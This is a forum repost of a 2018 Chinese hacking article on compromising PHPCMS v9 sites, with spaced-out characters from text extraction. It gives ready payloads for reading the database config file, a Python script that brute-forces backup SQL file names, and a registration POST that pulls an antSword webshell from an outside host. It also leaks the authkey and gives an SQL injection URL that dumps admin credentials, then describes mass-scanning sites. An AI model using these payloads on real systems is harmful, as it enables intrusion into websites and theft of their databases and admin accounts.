搜索

[19388] 2018-08-14_论如何优雅地拿下PHPCMS

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2018-08-14_论如何优雅地拿下PHPCMS 论 如 何 优 雅 地 拿 下 P H P C M S i 春 秋   2 0 1 8 - 0 8 - 1 4 作 者 ： J 0 o 1 e y i 春 秋 社 区 P H P C M S 简 介 简 介 P H P C M S 领 先 的 网 站 内 容 管 理 系 统 ， 同 时 也 是 一 个 开 源 的 P H P 开 发 框 架 ， 采 用 P H P 5 + M Y S Q L 进 行 开 发 ， 拥 有 非 常 庞 大 的 用 户 量 。 百 度 百 科 介 绍 其 优 点 主 要 如 下 ： 百 度 百 科 介 绍 其 优 点 主 要 如 下 ： ① 功 能 强 大 ② 模 块 化 ， 开 源 ， 可 扩 展 功 能 强 大 灵 活 ③ 支 持 自 定 义 模 型 和 字 段 负 载 能 力 强 ， 支 持 千 万 级 数 据 模 板 制 作 方 便 ④ 支 持 中 文 标 签 和 万 能 标 签 进 行 数 据 调 用 拥 有 门 户 级 的 碎 片 功 能 ⑤ 融 入 了 人 性 化 体 验 ⑥ 加 强 了 安 全 机 制         前 五 条 我 们 无 可 厚 非 ， 因 为 P H P C M S 的 开 发 团 队 确 实 比 较 专 业 和 优 秀 ， 但 是 就 算 他 真 的 安 全 机 制 优 秀 ， 难 道 我 们 就 拿 他 没 办 法 了 嘛 ？ 作 为 一 名 小 学 生 ， 自 然 是 不 服 ， 让 我 们 今 天 来 盘 点 一 下 P H P C M S   v 9 这 些 年 爆 出 来 的 常 见 漏 洞 ~ ( 鸡 肋 一 些 的 漏 洞 在 此 就 不 介 绍 了 ， 主 要 介 绍 一 些 比 较 凶 残 的 ) P H P C M S   V 9 本 地 文 件 包 含 漏 本 地 文 件 包 含 漏 洞 洞 漏 洞 出 现 在 如 下 文 件 : p h p c m s / m o d u l e s / s e a r c h / i n d e x . p h p   代 码 如 下 ： p u b l i c   f u n c t i o n   p u b l i c _ g e t _ s u g g e s t _ k e y w o r d ( )   {                                 $ u r l   =   $ _ G E T [ ' u r l ' ] . ' & q = ' . $ _ G E T [ ' q ' ] ;                                   $ r e s   =   @ f i l e _ g e t _ c o n t e n t s ( $ u r l ) ;                                 i f ( C H A R S E T   ! =   ' g b k ' )   {                                 $ r e s   =   i c o n v ( ' g b k ' ,   C H A R S E T ,   $ r e s ) ;                                 }                                 e c h o   $ r e s ; 本 处 大 家 会 发 现 在 使 用 f i l e _ g e t _ c o n t e n t s 函 数 时 没 有 过 滤 g e t 方 式 得 到 的 m 参 数 。 因 此 可 以 构 造 p a y l o a d 如 下 ： w w w . x x x . c o m / m = s e a r c h & a = p u b l i c _ g e t _ s u g g e s t _ k e y w o r d & q = . . / . . / p h p s s o _ s e r v e r / c a c h e s / c o n f i g s / d a t a b a s e . p h p 如 果 存 在 漏 洞 即 可 成 功 读 取 到 p h p c m s 的 数 据 库 配 置 文 件 ， 如 图 ： 如 果 目 标 的 m y s q l 服 务 对 外 网 开 启 ， 则 可 以 使 用 m y s q l 连 接 程 序 直 接 脱 裤 。 利 用 用 户 表 的 管 理 员 账 号 密 码 （ p h p c m s 的 管 理 员 密 码 是 加 盐 再 m d 5 加 密 的 ， 需 要 解 密 ） ， 使 用 默 认 后 台 。 w w w . x x x . c o m / a d m i n . p h p ] w w w . x x x . c o m / a d m i n . p h p 即 可 成 功 登 录 。 p h p c m s   V 9   s q l 备 份 文 件 名 爆 备 份 文 件 名 爆 破 破 参 考 文 章 : h t t p s : / / b b s . i c h u n q i u . c o m / f o r u m . p h p ? m o d = v i e w t h r e a d & t i d = 3 5 4 7 2 & h i g h l i g h t = p h p c m s p a y l o a d ： / a p i . p h p ? o p = c r e a t i m g & t x t = m o c h a z z & f o n t = / . . / . . / . . / . . / c a c h e s / b a k u p / d e f a u l t / g v 5 d m x < < . s q l 我 们 知 道 w i n d o w s 的 F i n d F i r s t F i l e （ A P I ) 有 个 特 性 就 是 可 以 把 < < 当 成 通 配 符 来 用 而 P H P 的 o p e n d i r ( w i n 3 2 r e a d d i r . c ) 就 使 用 了 该 A P I 。 P H P 的 文 件 操 作 函 数 均 调 用 了 o p e n d i r , 所 以 f i l e _ e x i s t s 也 有 此 特 性 。 这 个 漏 洞 和 前 一 阵 子 d e d e c m s 后 台 爆 破 如 出 一 辙 ， a p i . p h p 文 件 的 $ o p 变 量 决 定 用 户 的 操 作 。
#   a p i . p h p < ? p h p d e f i n e ( ' P H P C M S _ P A T H ' ,   d i r n a m e ( _ _ F I L E _ _ ) . D I R E C T O R Y _ S E P A R A T O R ) ; i n c l u d e   P H P C M S _ P A T H . ' p h p c m s / b a s e . p h p ' ; . . . . . . $ o p   =   i s s e t ( $ _ G E T [ ' o p ' ] )   & &   t r i m ( $ _ G E T [ ' o p ' ] )   ?   t r i m ( $ _ G E T [ ' o p ' ] )   :   e x i t ( ' O p e r a t i o n   c a n   n o t   b e   e m p t y ' ) ; . . . . . . i f ( ! p r e g _ m a t c h ( ' / ( [ ^ a - z _ ] + ) / i ' , $ o p ) & &   f i l e _ e x i s t s ( P H P C M S _ P A T H . ' a p i / ' . $ o p . ' . p h p ' ) )   {         i n c l u d e   P H P C M S _ P A T H . ' a p i / ' . $ o p . ' . p h p ' ; . . . . . . ? > 在 / a p i / c r e a t i m g . p h p 文 件 中 ， 使 用 了 f i l e _ e x i s t s ( ) 函 数 判 断 $ f o n t f i l e 文 件 是 否 存 在 ， 文 件 存 在 和 不 存 在 的 返 回 信 息 是 不 同 的 ， 而 且 $ f o n t f i l e 可 以 被 用 户 控 制 ， 且 未 过 滤 . 和 / 等 符 号 ， 最 终 导 致 了 漏 洞 发 生 。 #   / a p i / c r e a t i m g . p h p < ? p h p d e f i n e d ( ' I N _ P H P C M S ' )   o r   e x i t ( ' N o   p e r m i s s i o n   r e s o u r c e s . ' ) ;   $ t x t   =   t r i m ( $ _ G E T [ ' t x t ' ] ) ; i f ( e x t e n s i o n _ l o a d e d ( ' g d ' )   & &   $ t x t   )   {         . . . . . . $ f o n t f i l e = i s s e t ( $ _ G E T [ ' f o n t ' ] ) & &   ! e m p t y ( $ _ G E T [ ' f o n t ' ] )   ?   $ f o n t p a t h . t r i m ( $ _ G E T [ ' f o n t ' ] )   :   $ f o n t p a t h . ' g e o r g i a . t t f ' ;         . . . . . .         i f ( f i l e _ e x i s t s ( $ f o n t f i l e ) ) {                 / / 计 算 文 本 写 入 后 的 宽 度 ， 右 下 角   X   位 置 - 左 下 角   X   位 置               $ i m a g e _ i n f o =   i m a g e t t f b b o x ( $ f o n t s i z e , 0 , $ f o n t f i l e , $ t x t ) ;           $ i m a g e X =   $ i m a g e _ i n f o [ 2 ] - $ i m a g e _ i n f o [ 0 ] + 1 0 ;                 $ i m a g e Y =   $ i m a g e _ i n f o [ 1 ] - $ i m a g e _ i n f o [ 7 ] + 5 ;                 . . . . . . 爆 破 脚 本 如 下 ： 爆 破 脚 本 如 下 ： # ! / u s r / b i n / e n v   p y t h o n #   c o d i n g = u t f - 8 ' ' ' / *         *   a u t h o r   =   M o c h a z z         *   t e a m       =   红 日 安 全 团 队         *   e n v         =   p y t o n 3         *         * / ' ' ' i m p o r t   r e q u e s t s i m p o r t   i t e r t o o l s c h a r a c t e r s =   " a b c d e f g h j k l m n o p q r s t u v w x y z 0 1 2 3 4 5 6 7 8 9 _ ! # " b a c k u p _ s q l   =   " " p a y l o a d   =   " / a p i . p h p ? o p = c r e a t i m g & t x t = m o c h a z z & f o n t = / . . / . . / . . / . . / c a c h e s / b a k u p / d e f a u l t / { l o c a t i o n } < < " u r l   =   " h t t p : / / 1 9 2 . 1 6 8 . 0 . 1 0 6 " f l a g   =   0 f o r   n u m   i n   r a n g e ( 1 , 7 ) : i f   f l a g : b r e a k f o r p r e i n   i t e r t o o l s . p e r m u t a t i o n s ( c h a r a c t e r s , n u m ) :                 p r e   =   ' ' . j o i n ( l i s t ( p r e ) )                 p a y l o a d   =   p a y l o a d . f o r m a t ( l o c a t i o n = p r e )                 r   =   r e q u e s t s . g e t ( u r l + p a y l o a d )               i f   r . s t a t u s _ c o d e   = =   2 0 0   a n d   " P N G "   i n   r . t e x t :                             f l a g   =   1                             b a c k u p _ s q l   =   p r e                               p a y l o a d =   " / a p i . p h p ? o p = c r e a t i m g & t x t = m o c h a z z & f o n t = / . . / . . / . . / . . / c a c h e s / b a k u p / d e f a u l t / { l o c a t i o n } < < "                         b r e a k                         e l s e :   p a y l o a d = " / a p i . p h p ? o p = c r e a t i m g & t x t = m o c h a z z & f o n t = / . . / . . / . . / . . / c a c h e s / b a k u p / d e f a u l t / { l o c a t i o n } < < " p r i n t ( " [ + ]   前 缀 为 ： " , b a c k u p _ s q l ) f l a g   =   0 f o r   i   i n   r a n g e ( 3 0 ) :         i f   f l a g :               b r e a k               f o r   c h   i n   c h a r a c t e r s :         i f   c h   = =   c h a r a c t e r s [ - 1 ] :               f l a g   =   1               b r e a k p a y l o a d =   p a y l o a d . f o r m a t ( l o c a t i o n = b a c k u p _ s q l + c h )               r   =   r e q u e s t s . g e t ( u r l   +   p a y l o a d )               i f   r . s t a t u s _ c o d e   = =   2 0 0   a n d   " P N G "   i n   r . t e x t :                         b a c k u p _ s q l   + =   c h                         p r i n t ( " [ + ]   " , b a c k u p _ s q l ) p a y l o a d = " / a p i . p h p ? o p = c r e a t i m g & t x t = m o c h a z z & f o n t = / . . / . . / . . / . . / c a c h e s / b a k u p / d e f a u l t / { l o c a t i o n } < < "                         b r e a k                         e l s e : p a y l o a d = " / a p i . p h p ? o p = c r e a t i m g & t x t = m o c h a z z & f o n t = / . . / . . / . . / . . / c a c h e s / b a k u p / d e f a u l t / { l o c a t i o n } < < " p r i n t ( " 备 份 s q l 文 件 地 址 为 ： " , b a c k u p _ s q l + " . s q l " ) 效 果 如 下 ： 效 果 如 下 ： 拿 到 S Q L 文 件 后 ， 可 以 导 入 本 地 查 看 ， 后 续 操 作 这 里 不 多 加 赘 述 。
P H P C M S 前 台 上 传 前 台 上 传 g e t s h e l l 漏 洞 复 现 参 考 ( h t t p s : / / w w w . h a c k e r s b . c n / h a c k e r / 2 1 9 . h t m l ) 漏 洞 复 现 的 办 法 是 先 打 开 注 册 页 面 : w w w . x x x . c o m / i n d e x . p h p ? m = m e m b e r & c = i n d e x & a = r e g i s t e r & s i t e i d = 1 ] w w w . x x x . c o m / i n d e x . p h p ? m = m e m b e r & c = i n d e x & a = r e g i s t e r & s i t e i d = 然 后 向 注 册 页 面 P O S T 如 下 p a y l o a d ： s i t e i d = 1 & m o d e l i d = 1 1 & u s e r n a m e = 1 2 3 4 5 6 & p a s s w o r d = 1 2 3 4 5 6 & e m a i l = 1 2 3 4 5 6 @ q q . c o m & i n f o [ c o n t e n t ] = < i m g   s r c = h t t p : / / f i l e s . h a c k e r s b . c n / w e b s h e l l / a n t S w o r d - s h e l l s / p h p _ a s s e r t . p h p # . j p g > & d o s u b m i t = 1 & p r o t o c o l = 然 后 就 会 报 错 并 返 回 s h e l l 地 址 ： 然 后 就 可 以 连 接 啦 。 但 我 在 实 战 测 试 过 程 中 发 现 这 个 漏 洞 由 于 危 害 极 大 ， 基 本 上 都 已 经 被 运 维 打 补 丁 了 ， 因 此 现 在 存 在 这 个 漏 洞 的 站 点 并 不 是 很 多 。 P H P C M S 利 用 利 用 a u t h k e y 泄 露 进 行 注 入 泄 露 进 行 注 入 众 所 周 和 P H P C M S 在 拿 到 a u t h k e y ( 这 边 简 称 k e y 吧 ) ， 便 有 一 大 堆 注 入 ， 在 此 给 大 家 简 单 讲 解 一 下 ， 首 先 分 享 一 下 爆 出 k e y 的 p a y l o a d 。 w w w . x x x . c o m / a p i . p h p ? o p = g e t _ m e n u & a c t = a j a x _ g e t l i s t & c a l l b a c k = a a a a a & p a r e n t i d = 0 & k e y = a u t h k e y & c a c h e f i l e = . . . . . . p h p s s o _ s e r v e r c a c h e s c a c h e s _ a d m i n c a c h e s _ d a t a a p p l i s t & p a t h = a d m i n 如 图 中 的 X I 0 G 8 h 0 T Y y W T w Z M F I g N 9 n x H U N 9 S y y m f 便 是 我 们 所 说 的 k e y ， 拿 到 k e y 后 ， 我 们 该 怎 么 办 呢 ？ 我 们 这 边 使 用 一 个 名 为 a . p h p 的 e x p （ e x p 请 回 复 后 下 载 ） 大 家 可 以 使 用 p h p s t u d y 安 装 P H P 环 境 。 用 法 ： 将 a . p h p 丢 到 p h p s t u d y 配 置 的 网 站 根 目 录 中 访 问 u r l : h t t p : / / l o c a l h o s t / a . p h p ? u r l = 你 要 测 试 的 u r l （ 不 要 加 h t t p ） & k e y = 你 得 到 的 。 k e y & i d = u s e r i d = 1 % 2 0 a n d % 2 0 ( S E L E C T % 2 0 1 % 2 0 F R O M ( S E L E C T % 2 0 c o u n t ( * ) , c o n c a t ( ( S E L E C T ( S E L E C T % 2 0 c o n c a t ( 0 x 7 e , 0 x 2 7 , c a s t ( ( s u b s t r i n g ( ( s e l e c t + c o n c a t ( 0 x 7 e , 0 x 2 7 , u s e r n a m e , 0 x 3 a , + p a s s w o r d , + 0 x 3 a , + e n c r y p t , 0 x 2 7 , 0 x 4 0 , 0 x 7 e ) + F R O M + ` v 9 _ a d m i n ` + W H E R E + 1 + l i m i t + 0 , 1 ) , 1 , 6 2 ) ) % 2 0 a s % 2 0 c h a r ) , 0 x 2 7 , 0 x 7 e ) ) % 2 0 F R O M % 2 0 i n f o r m a t i o n _ s c h e m a . t a b l e s % 2 0 l i m i t % 2 0 0 , 1 ) , f l o o r ( r a n d ( 0 ) * 2 ) ) x % 2 0 F R O M % 2 0 i n f o r m a t i o n _ s c h e m a . c o l u m n s % 2 0 g r o u p % 2 0 b y % 2 0 x ) a ) 即 可 得 到 后 台 账 号 和 密 码 ， 但 是 密 码 是 加 了 s a l t 的 。 大 家 可 以 去 h t t p : / / c m d . l a 进 行 解 密 ， 但 是 是 要 收 费 的 ， 你 懂 得 。 然 后 使 用 解 出 的 明 文 密 码 登 录 w w w . x x x . c o m / a d m i n . p h p 即 可 ~ 请 勿 模 仿 该 案 例 中 用 到 的 手 段 ， 因 此 带 来 的 法 律 问 题 由 你 一 人 承 担 ， 文 章 只 做 案 例 分 析 ， 绝 无 他 意 。 利 用 利 用 f u z z 框 架 批 量 检 测 框 架 批 量 检 测 P H P C M S 漏 洞 漏 洞 我 作 为 一 名 懒 人 ， 叫 我 一 个 个 地 手 动 检 测 漏 洞 是 很 不 现 实 的 ， 因 此 我 选 择 使 用 t e s t 4 0 4 的 一 款 h t t p   f u z z 框 架 实 现 批 量 检 测 。
简 单 地 编 写 了 一 下 上 述 漏 洞 的 插 件 ， 采 集 u r l 进 行 批 量 f u z z ， 效 果 还 是 很 不 错 的 。 如 图 是 使 用 爆 k e y 插 件 的 结 果 （ 还 有 很 多 了 ， 不 一 一 展 示 ） 这 些 爆 出 k e y 的 大 部 分 都 是 存 在 S Q L 注 入 的 。 戳 阅 读 原 文 ， 跟 作 者 进 行 深 度 交 流 吧 戳 阅 读 原 文 ， 跟 作 者 进 行 深 度 交 流 吧 ~ 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理